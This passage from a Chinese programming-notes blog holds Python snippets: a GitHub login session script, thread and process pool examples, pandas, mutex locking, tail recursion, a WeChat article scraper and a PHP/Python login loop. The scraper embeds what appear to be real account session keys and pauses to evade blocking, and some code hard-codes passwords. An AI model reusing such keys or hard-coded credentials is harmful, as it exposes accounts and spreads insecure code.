class="line">    <span class="string">'Accept-Encoding'</span>: <span class="string">'gzip, deflate, br'</span>,</span><br><span class="line">    <span class="string">'Accept-Language'</span>: <span class="string">'zh-CN,zh;q=0.9,en;q=0.8'</span>,</span><br><span class="line">    <span class="string">'Connection'</span>: <span class="string">'keep-alive'</span>,</span><br><span class="line">    <span class="string">'Host'</span>: <span class="string">'github.com'</span>,</span><br><span class="line">    <span class="string">'Upgrade-Insecure-Requests'</span>: <span class="string">'1'</span>,</span><br><span class="line">    <span class="string">'User-Agent'</span>: <span class="string">'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36'</span></span><br><span class="line">&#125;</span><br><span class="line">s = requests.session()</span><br><span class="line">s.headers.update(headers)</span><br><span class="line">def get_token():</span><br><span class="line">    url = <span class="string">'https://github.com/login'</span></span><br><span class="line">    response = s.get(url)</span><br><span class="line">    pat = <span class="string">'name=\"authenticity_token\" value=\"(.*?)\"'</span></span><br><span class="line">    authenticity_token = re.findall(pat, response.text)[<span class="number">0</span>]</span><br><span class="line">    <span class="keyword">return</span> authenticity_token</span><br><span class="line">def login(authenticity_token, account, password):</span><br><span class="line">    payload = &#123;</span><br><span class="line">        <span class="string">'commit'</span>: <span class="string">'Sign in'</span>,</span><br><span class="line">        <span class="string">'utf8'</span>: <span class="string">'\u2713'</span>,</span><br><span class="line">        <span class="string">'authenticity_token'</span>: authenticity_token,</span><br><span class="line">        <span class="string">'login'</span>: account,</span><br><span class="line">        <span class="string">'password'</span>: password,</span><br><span class="line">    &#125;</span><br><span class="line">    url = <span class="string">'https://github.com/session'</span></span><br><span class="line">    response = s.post(url, data=payload)</span><br><span class="line">    print(response)</span><br><span class="line">    # do whatever you want</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">    account, password = <span class="string">'account'</span>, <span class="string">'password'</span></span><br><span class="line">    authenticity_token = get_token()</span><br><span class="line">    login(authenticity_token, account, password)</span><br></pre></td></tr></table></figure>
<h3 id="多线程和多进程"><a href="#多线程和多进程" class="headerlink" title="多线程和多进程"></a>多线程和多进程</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> concurrent.futures</span><br><span class="line"><span class="keyword">import</span> urllib.request</span><br><span class="line">URLS = [<span class="string">'http://www.foxnews.com/'</span>,</span><br><span class="line">        <span class="string">'http://www.cnn.com/'</span>,</span><br><span class="line">        <span class="string">'http://europe.wsj.com/'</span>,</span><br><span class="line">        <span class="string">'http://www.bbc.co.uk/'</span>,</span><br><span class="line">        <span class="string">'http://some-made-up-domain.com/'</span>]</span><br><span class="line"># Retrieve a single page and report the URL and contents</span><br><span class="line">def load_url(url, timeout):</span><br><span class="line">    <span class="keyword">with</span> urllib.request.urlopen(url, timeout=timeout) <span class="keyword">as</span> conn:</span><br><span class="line">        <span class="keyword">return</span> conn.read()</span><br><span class="line"># We can use a with statement to ensure threads are cleaned up promptly</span><br><span class="line"><span class="keyword">with</span> concurrent.futures.ThreadPoolExecutor(max_workers=<span class="number">5</span>) <span class="keyword">as</span> executor:</span><br><span class="line">    # Start the load operations and mark each future with its URL</span><br><span class="line">    future_to_url = &#123;executor.submit(load_url, url, <span class="number">60</span>): url <span class="keyword">for</span> url <span class="keyword">in</span> URLS&#125;</span><br><span class="line">    <span class="keyword">for</span> future <span class="keyword">in</span> concurrent.futures.as_completed(future_to_url):</span><br><span class="line">        url = future_to_url[future]</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            data = future.result()</span><br><span class="line">        except Exception <span class="keyword">as</span> exc:</span><br><span class="line">            print(<span class="string">'%r generated an exception: %s'</span> % (url, exc))</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            print(<span class="string">'%r page is %d bytes'</span> % (url, len(data)))</span><br><span class="line">            </span><br><span class="line"> <span class="keyword">import</span> concurrent.futures</span><br><span class="line"> <span class="keyword">import</span> math</span><br><span class="line"> PRIMES = [</span><br><span class="line">     <span class="number">112272535095293</span>,</span><br><span class="line">     <span class="number">112582705942171</span>,</span><br><span class="line">     <span class="number">112272535095293</span>,</span><br><span class="line">     <span class="number">115280095190773</span>,</span><br><span class="line">     <span class="number">115797848077099</span>,</span><br><span class="line">     <span class="number">1099726899285419</span>]</span><br><span class="line"> def is_prime(n):</span><br><span class="line">     <span class="keyword">if</span> n % <span class="number">2</span> == <span class="number">0</span>:</span><br><span class="line">         <span class="keyword">return</span> False</span><br><span class="line">     sqrt_n = int(math.floor(math.sqrt(n)))</span><br><span class="line">     <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">3</span>, sqrt_n + <span class="number">1</span>, <span class="number">2</span>):</span><br><span class="line">         <span class="keyword">if</span> n % i == <span class="number">0</span>:</span><br><span class="line">             <span class="keyword">return</span> False</span><br><span class="line">     <span class="keyword">return</span> True</span><br><span class="line"> def main():</span><br><span class="line">     <span class="keyword">with</span> concurrent.futures.ProcessPoolExecutor() <span class="keyword">as</span> executor:</span><br><span class="line">         <span class="keyword">for</span> number, prime <span class="keyword">in</span> zip(PRIMES, executor.map(is_prime, PRIMES)):</span><br><span class="line">             print(<span class="string">'%d is prime: %s'</span> % (number, prime))</span><br><span class="line"> <span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">     main()</span><br><span class="line">     </span><br><span class="line">     </span><br><span class="line">     https:<span class="comment">//zhangslob.github.io/2018/07/03/%E5%BF%AB%E9%80%9F%E5%86%99%E4%B8%80%E4%B8%AA%E7%88%AC%E8%99%AB/</span></span><br></pre></td></tr></table></figure>
<h3 id="Pandas-做数据分析"><a href="#Pandas-做数据分析" class="headerlink" title="Pandas 做数据分析"></a>Pandas 做数据分析</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pandas <span class="keyword">as</span> pd</span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"></span><br><span class="line">url = (<span class="string">'https://raw.github.com/pandas-dev/pandas/master/pandas/tests/data/tips.csv'</span>)</span><br><span class="line">tips = pd.read_csv(url)</span><br><span class="line">output = tips.head()</span><br><span class="line">&gt;&gt;&gt; output</span><br><span class="line">   total_bill   tip     sex smoker  day    time  size</span><br><span class="line"><span class="number">0</span>       <span class="number">16.99</span>  <span class="number">1.01</span>  Female     No  Sun  Dinner     <span class="number">2</span></span><br><span class="line"><span class="number">1</span>       <span class="number">10.34</span>  <span class="number">1.66</span>    Male     No  Sun  Dinner     <span class="number">3</span></span><br><span class="line"><span class="number">2</span>       <span class="number">21.01</span>  <span class="number">3.50</span>    Male     No  Sun  Dinner     <span class="number">3</span></span><br><span class="line"><span class="number">3</span>       <span class="number">23.68</span>  <span class="number">3.31</span>    Male     No  Sun  Dinner     <span class="number">2</span></span><br><span class="line"><span class="number">4</span>       <span class="number">24.59</span>  <span class="number">3.61</span>  Female     No  Sun  Dinner     <span class="number">4</span></span><br><span class="line"></span><br><span class="line">sql 语句： SELECT total_bill, tip, smoker, time FROM tips LIMIT <span class="number">5</span>;。</span><br><span class="line"></span><br><span class="line">output = tips[[<span class="string">'total_bill'</span>, <span class="string">'tip'</span>, <span class="string">'smoker'</span>, <span class="string">'time'</span>]].head(<span class="number">5</span>)</span><br><span class="line"></span><br><span class="line">https:<span class="comment">//learnku.com/articles/29825</span></span><br></pre></td></tr></table></figure>
<h3 id="多线程"><a href="#多线程" class="headerlink" title="多线程"></a>多线程</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line">线程 (Thread) 是操作系统能够进行运算调度的最小单位。它被包含在进程中，是进程中的实际运作单位。一个进程中可以并发多个线程，每条线程并行执行不同的任务。同一进程中的多个线程共享进程中的全部系统资源。</span><br><span class="line">以下演示使用多线程对一个变量值进行修改，在循环的次数不多时修改后变量的值是符合预期的，当增加循环次数后，变量最终的值并不符合预期。由此可见：线程之间资源是存在竞争的，修改同一份资源必须加互斥锁，同时需要避免死锁。</span><br><span class="line"></span><br><span class="line"># coding=utf-8</span><br><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"></span><br><span class="line"># 定义一个字段。多线程执行+1操作</span><br><span class="line">balance = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">def worker1():</span><br><span class="line">    global balance</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1000</span>):</span><br><span class="line">        balance += <span class="number">1</span></span><br><span class="line">    print(<span class="string">'线程1执行完成，balance='</span>+str(balance))</span><br><span class="line"></span><br><span class="line">def worker2():</span><br><span class="line">    global balance</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1000</span>):</span><br><span class="line">        balance += <span class="number">1</span></span><br><span class="line">    print(<span class="string">'线程2执行完成，balance='</span>+str(balance))</span><br><span class="line"></span><br><span class="line">def main():</span><br><span class="line">    # 构造线程对象</span><br><span class="line">    t1 = threading.Thread(target=worker1)</span><br><span class="line">    t2 = threading.Thread(target=worker2)</span><br><span class="line">    # 开始执行</span><br><span class="line">    t1.start()</span><br><span class="line">    t2.start()</span><br><span class="line"></span><br><span class="line">    <span class="string">""</span><span class="string">"</span></span><br><span class="line"><span class="string">    循环次数为1000时，程序输出：</span></span><br><span class="line"><span class="string">        线程1执行完成，balance=1000</span></span><br><span class="line"><span class="string">        线程2执行完成，balance=2000</span></span><br><span class="line"><span class="string">    循环次数为1000000时，程序输出：</span></span><br><span class="line"><span class="string">        线程1执行完成，balance=1180919</span></span><br><span class="line"><span class="string">        线程2执行完成，balance=1179703</span></span><br><span class="line"><span class="string">    "</span><span class="string">""</span>    </span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">    main()</span><br><span class="line">要想解决以下的问题，需要使用线程的锁对象，只需要对 worker1 和 woker2 方法进行修改。</span><br><span class="line"></span><br><span class="line"># 创建一个互斥锁，默认是未锁定状态</span><br><span class="line">mutex = threading.Lock()</span><br><span class="line"></span><br><span class="line">def worker1():</span><br><span class="line">    global balance</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1000000</span>):</span><br><span class="line">        mutex.acquire()</span><br><span class="line">        balance += <span class="number">1</span></span><br><span class="line">        mutex.release()</span><br><span class="line">    print(<span class="string">'线程1执行完成，balance='</span> + str(balance))</span><br><span class="line"></span><br><span class="line">def worker2():</span><br><span class="line">    global balance</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1000000</span>):</span><br><span class="line">        mutex.acquire()</span><br><span class="line">        balance += <span class="number">1</span></span><br><span class="line">        mutex.release()</span><br><span class="line">    print(<span class="string">'线程2执行完成，balance='</span> + str(balance))</span><br><span class="line"></span><br><span class="line"><span class="string">""</span><span class="string">"</span></span><br><span class="line"><span class="string">加了互斥锁之后的输出：</span></span><br><span class="line"><span class="string">    线程1执行完成，balance=1941343</span></span><br><span class="line"><span class="string">    线程2执行完成，balance=2000000</span></span><br><span class="line"><span class="string">"</span><span class="string">""</span></span><br><span class="line">特点：</span><br><span class="line"></span><br><span class="line">线程执行的顺序是不确定的</span><br><span class="line">主线程【进程】会等待所有子线程结束后才会退出，主线程【进程】结束么子线程必然结束</span><br><span class="line">线程间共享资源</span><br><span class="line">修改资源必要时需要加锁，同时避免死锁</span><br><span class="line">占用的资源比进程少</span><br><span class="line">线程并不是越多越快</span><br><span class="line">由于 GIL 的原因，多线程并不是真正的并发，只是交替执行</span><br><span class="line">https:<span class="comment">//learnku.com/articles/29367</span></span><br></pre></td></tr></table></figure>
<h3 id="尾递归"><a href="#尾递归" class="headerlink" title="尾递归"></a>尾递归</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"># 例子代码</span><br><span class="line">def tail_recursion(n, total=<span class="number">0</span>):</span><br><span class="line">    <span class="keyword">if</span> n == <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">return</span> total</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> tail_recursion(n<span class="number">-1</span>, total+n)</span><br><span class="line"># 执行结果：</span><br><span class="line">tail_recursion(<span class="number">5</span>)</span><br><span class="line">tail_recursion(<span class="number">4</span>, <span class="number">5</span>)</span><br><span class="line">tail_recursion(<span class="number">3</span>, <span class="number">9</span>)</span><br><span class="line">tail_recursion(<span class="number">2</span>, <span class="number">12</span>)</span><br><span class="line">tail_recursion(<span class="number">1</span>, <span class="number">14</span>)</span><br><span class="line">tail_recursion(<span class="number">0</span>, <span class="number">15</span>)</span><br><span class="line"><span class="number">5</span>+<span class="number">4</span>+<span class="number">3</span>+<span class="number">2</span>+<span class="number">1</span>=<span class="number">15</span></span><br></pre></td></tr></table></figure>
<h3 id="获取公众号全部文章"><a href="#获取公众号全部文章" class="headerlink" title="获取公众号全部文章"></a>获取公众号全部文章</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//mp.weixin.qq.com/s/nkW2sYLcdsNTYTkk-4BeLA</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">from</span> pymongo <span class="keyword">import</span> MongoClient</span><br><span class="line"></span><br><span class="line">url = <span class="string">'http://mp.weixin.qq.com/mp/xxx'</span>（公众号不让添加主页链接，xxx表示profile_ext)</span><br><span class="line">#url='https://mp.weixin.qq.com/mp/profile_ext?action=getmsg&amp;__biz=MzIyMjg2ODExMA==&amp;f=json&amp;offset=21&amp;count=10&amp;is_ok=1&amp;scene=124&amp;uin=NjQ3OTQwMTAy&amp;key=a90c16d3bbfeedd04adeeda7bfc81049f486e81712f95a347e33fccfb9fe00841ec6a4d0984ce32f72fe5e8c479fd13c6680b5496cda322ab1bb2b81417a10ae277a861ad580e77cdf78edbf86212c08&amp;pass_ticket=2vonvdf3N4L67te2BCa4ZqvIs1ed2MoeBqoznvfNSL%2BeKqF4YgHUvNEWLNczZovz&amp;wxtoken=&amp;appmsg_token=1015_jLHC7BDStvidMqo9YO55XLerjoP9z6UM70Q5vw~~&amp;x5=0&amp;f=json'</span><br><span class="line"># Mongo配置</span><br><span class="line">conn = MongoClient(<span class="string">'127.0.0.1'</span>, <span class="number">27017</span>)</span><br><span class="line">db = conn.wx  #连接wx数据库，没有则自动创建</span><br><span class="line">mongo_wx = db.article  #使用article集合，没有则自动创建</span><br><span class="line"></span><br><span class="line">def get_wx_article(biz, uin, key, index=<span class="number">0</span>, count=<span class="number">10</span>):</span><br><span class="line">    offset = (index + <span class="number">1</span>) * count</span><br><span class="line">    params = &#123;</span><br><span class="line">        <span class="string">'__biz'</span>: biz,</span><br><span class="line">        <span class="string">'uin'</span>: uin,</span><br><span class="line">        <span class="string">'key'</span>: key,</span><br><span class="line">        <span class="string">'offset'</span>: offset,</span><br><span class="line">        <span class="string">'count'</span>: count,</span><br><span class="line">        <span class="string">'action'</span>: <span class="string">'getmsg'</span>,</span><br><span class="line">        <span class="string">'f'</span>: <span class="string">'json'</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    headers = &#123;</span><br><span class="line">        <span class="string">'User-Agent'</span>: <span class="string">'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36'</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    response = requests.get(url=url, params=params, headers=headers)</span><br><span class="line">    resp_json = response.json()</span><br><span class="line">    <span class="keyword">if</span> resp_json.get(<span class="string">'errmsg'</span>) == <span class="string">'ok'</span>:</span><br><span class="line">        resp_json = response.json()</span><br><span class="line">        # 是否还有分页数据， 用于判断return的值</span><br><span class="line">        can_msg_continue = resp_json[<span class="string">'can_msg_continue'</span>]</span><br><span class="line">        # 当前分页文章数</span><br><span class="line">        msg_count = resp_json[<span class="string">'msg_count'</span>]</span><br><span class="line">        general_msg_list = json.loads(resp_json[<span class="string">'general_msg_list'</span>])</span><br><span class="line">        list = general_msg_list.get(<span class="string">'list'</span>)</span><br><span class="line">        print(list, <span class="string">"**************"</span>)</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> list:</span><br><span class="line">            app_msg_ext_info = i[<span class="string">'app_msg_ext_info'</span>]</span><br><span class="line">            # 标题</span><br><span class="line">            title = app_msg_ext_info[<span class="string">'title'</span>]</span><br><span class="line">            # 文章地址</span><br><span class="line">            content_url = app_msg_ext_info[<span class="string">'content_url'</span>]</span><br><span class="line">            # 封面图</span><br><span class="line">            cover = app_msg_ext_info[<span class="string">'cover'</span>]</span><br><span class="line"></span><br><span class="line">            # 发布时间</span><br><span class="line">            datetime = i[<span class="string">'comm_msg_info'</span>][<span class="string">'datetime'</span>]</span><br><span class="line">            datetime = time.strftime(<span class="string">"%Y-%m-%d %H:%M:%S"</span>, time.localtime(datetime))</span><br><span class="line"></span><br><span class="line">            mongo_wx.insert(&#123;</span><br><span class="line">                <span class="string">'title'</span>: title,</span><br><span class="line">                <span class="string">'content_url'</span>: content_url,</span><br><span class="line">                <span class="string">'cover'</span>: cover,</span><br><span class="line">                <span class="string">'datetime'</span>: datetime</span><br><span class="line">            &#125;)</span><br><span class="line">        <span class="keyword">if</span> can_msg_continue == <span class="number">1</span>:</span><br><span class="line">            <span class="keyword">return</span> True</span><br><span class="line">        <span class="keyword">return</span> False</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(<span class="string">'获取文章异常...'</span>)</span><br><span class="line">        <span class="keyword">return</span> False</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">    biz = <span class="string">'Mzg4MTA2Nzg0NA=='</span></span><br><span class="line">    uin = <span class="string">'NDIyMTI5NDM1'</span></span><br><span class="line">    key = <span class="string">'20a680e825f03f1e7f38f326772e54e7dc0fd02ffba17e92730ba3f0a0329c5ed310b0bd55b3c0b1f122e5896c6261df2eaea4036ab5a5d32dbdbcb0a638f5f3605cf1821decf486bb6eb4d92d36c620'</span></span><br><span class="line">    index = <span class="number">0</span></span><br><span class="line">    <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line">        print(f<span class="string">'开始抓取公众号第&#123;index + 1&#125; 页文章.'</span>)</span><br><span class="line">        flag = get_wx_article(biz, uin, key, index=index)</span><br><span class="line">        # 防止和谐，暂停8秒</span><br><span class="line">        time.sleep(<span class="number">8</span>)</span><br><span class="line">        index += <span class="number">1</span></span><br><span class="line">        <span class="keyword">if</span> not flag:</span><br><span class="line">            print(<span class="string">'公众号文章已全部抓取完毕，退出程序.'</span>)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">        print(f<span class="string">'..........准备抓取公众号第&#123;index + 1&#125; 页文章.'</span>)</span><br></pre></td></tr></table></figure>
<h3 id="PHP-与-Python-代码对比"><a href="#PHP-与-Python-代码对比" class="headerlink" title="PHP 与 Python 代码对比"></a>PHP 与 Python 代码对比</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line">n = <span class="number">0</span></span><br><span class="line">https:<span class="comment">//learnku.com/articles/30958</span></span><br><span class="line"><span class="keyword">while</span> n &lt; <span class="number">3</span>:</span><br><span class="line">    #累计次数,用于循环条件</span><br><span class="line">    n = n + <span class="number">1</span></span><br><span class="line">    #定义账号和密码</span><br><span class="line">    uname = <span class="string">'tangqingsong'</span></span><br><span class="line">    pwd = <span class="string">'123123'</span></span><br><span class="line">    #接收参数</span><br><span class="line">    username = input(<span class="string">'请输入用户名:'</span>)</span><br><span class="line">    password = input(<span class="string">'请输入密码:'</span>)</span><br><span class="line"></span><br><span class="line">    #判断用户输入的账号和密码是否正确，正确将提示成功，并且退出循环体</span><br><span class="line">    <span class="keyword">if</span> uname == username and pwd == password:</span><br><span class="line">        print (<span class="string">'恭喜你，登陆成功~'</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    #三次机会用完的时候,提示错误次数，并告知即将退出</span><br><span class="line">    elif n == <span class="number">3</span>:</span><br><span class="line">        print(<span class="string">'已错误'</span>, n, <span class="string">'次，即将退出...'</span>)</span><br><span class="line">    #如果在三次以内,提示还剩下几次机会</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(<span class="string">'抱歉，账号或密码不正确，你还有'</span>, <span class="number">3</span> - n, <span class="string">'次机会'</span>)</span><br><span class="line">        </span><br><span class="line"> $n = <span class="number">0</span>;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">while</span> ($n &lt; <span class="number">3</span>) &#123;</span><br><span class="line">     #累计次数,用于循环条件</span><br><span class="line">     $n = $n + <span class="number">1</span>;</span><br><span class="line">     #定义账号和密码</span><br><span class="line">     $uname = <span class="string">'tangqingsong'</span>;</span><br><span class="line">     $pwd = <span class="string">'123123'</span>;</span><br><span class="line">     #接收参数</span><br><span class="line">     fwrite(STDOUT, <span class="string">'请输入用户名：'</span>);</span><br><span class="line">     $username = trim(fgets(STDIN));</span><br><span class="line">     fwrite(STDOUT, <span class="string">'请输入密码：'</span>);</span><br><span class="line">     $password = trim(fgets(STDIN));</span><br><span class="line"> </span><br><span class="line">     #判断用户输入的账号和密码是否正确，正确将提示成功，并且退出循环体</span><br><span class="line">     <span class="keyword">if</span> ($uname == $username and $pwd == $password) &#123;</span><br><span class="line">         print_r(<span class="string">'恭喜你，登陆成功~'</span>);</span><br><span class="line">         <span class="keyword">break</span>;</span><br><span class="line">         #三次机会用完的时候,提示错误次数，并告知即将退出</span><br><span class="line">     &#125; elseif ($n == <span class="number">3</span>) &#123;</span><br><span class="line">         print_r(<span class="string">"已错误&#123;$n&#125;次，即将退出..."</span>);</span><br><span class="line">     &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">         #如果在三次以内,提示还剩下几次机会</span><br><span class="line">         $j = <span class="number">3</span> - $n;</span><br><span class="line">         print_r(<span class="string">"抱歉，账号或密码不正确，你还有&#123;$j&#125;次机会"</span>);</span><br><span class="line">     &#125;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure>
<h3 id="python2与3的编码"><a href="#python2与3的编码" class="headerlink" title="python2与3的编码"></a>python2与3的编码</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span 